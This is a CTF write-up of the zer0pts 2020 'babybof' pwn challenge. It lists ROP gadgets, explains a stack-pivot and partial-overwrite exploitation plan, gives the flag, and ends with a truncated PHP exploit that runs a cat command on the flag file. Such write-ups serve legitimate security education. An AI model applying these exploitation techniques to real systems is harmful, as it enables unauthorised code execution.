Rating: 4.5

# babybof - zer0pts CTF 2020 (pwn, 590p, 17 solved)
## Introduction

babybof is a pwn task.

An archive containing a binary, and a libc is provided.

## Reverse engineering

The binary is a `baby` task : it is minimalist.

It only sets up the stream buffers by calling `setbuf` on `stdin`, `stdout` and
`stderr`. It then read 0x200 bytes in a 32-bytes buffer and calls exit.

This yields ROP, but there are only 7 gadgets in total :
```
0x0040043e: call qword [rbp+0x48] ; (1 found)
0x00400498: dec ecx ; ret ; (1 found)
0x00400499: leave ; ret ; (1 found)
0x0040049b: pop r15 ; ret ; (1 found)
0x0040047c: pop rbp ; ret ; (1 found)
0x0040049c: pop rdi ; ret ; (1 found)
0x0040049e: pop rsi ; ret ; (1 found)
```

The binary imports function from the libc, but the global offset table is
read-only.

## Exploitation

While the global offset table is read-only, the pointers to `stdin`, `stdout`
and `stderr` are stored at the beginning of the BSS section, and are writeable.

The idea is to call read multiple times :
1. first to pivot a new stack in the BSS section (for example at BSS +
0x50) and clear the stack for a one-gadget
2. then pivot again, this time before the stream buffers
3. finall, overwrite one of the stream buffers partially and use it as a return
address

The 3 last bytes of a one-shot gadget (libc + 0xF1147) can be used. This result
in an exploit that works once every 4096 times on average.

**Flag**: `zer0pts{b0f_i5_4lw4y5_d4ng3r0u5}`

## Appendices

### pwn.php

```php
#!/usr/bin/php
write($payload);

usleep(5e5);

try {
@$t->write("/bin/cat /home/pwn/*flag*\n");
while($packet = @$t->readLine())
printf("%s\n", $packet);
} catch(TypeError $e) {
exit;
} catch(Exception $e) {
exit;
}
```

Original writeup (https://github.com/TFNS/writeups/blob/master/2020-03-07-zer0ptsCTF/babybof/README.md).